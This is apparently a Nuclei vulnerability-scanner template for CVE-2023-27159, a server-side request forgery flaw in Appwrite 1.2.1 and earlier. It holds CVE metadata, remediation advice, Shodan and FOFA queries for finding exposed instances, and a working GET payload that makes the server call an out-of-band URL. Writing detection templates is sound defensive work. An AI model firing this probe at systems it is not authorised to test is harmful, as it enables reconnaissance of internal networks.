Appwrite <=1.2.1 - Server-Side Request Forgery

id: CVE-2023-27159

info:
  name: Appwrite <=1.2.1 - Server-Side Request Forgery
  author: DhiyaneshDk
  severity: high
  description: |
    Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the server.
  remediation: |
    Upgrade Appwrite to a version higher than 1.2.1 to mitigate the SSRF vulnerability.
  reference:
    - https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a
    - https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27159
    - http://appwrite.com
    - https://github.com/appwrite/appwrite
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27159
    cwe-id: CWE-918
    epss-score: 0.36171
    epss-percentile: 0.98284
    cpe: cpe:2.3:a:appwrite:appwrite:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: appwrite
    product: appwrite
    shodan-query:
      - title:"Sign In - Appwrite"
      - http.title:"sign in - appwrite"
      - http.favicon.hash:-633108100
    fofa-query:
      - icon_hash=-633108100
      - title="sign in - appwrite"
    google-query: intitle:"sign in - appwrite"
  tags: cve2023,cve,appwrite,ssrf,oast,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Appwrite-Server"
# digest: 490a0046304402202df4667555003fa678a4c47d58a774af706a8daedde392017e0fe7348d97a9c2022065ef59c2a29a6583d42165f932dd57096e86bcef1f3b8cc3f6ff41f5dbfcb84a:922c64590222798bb761d5b6d8e72950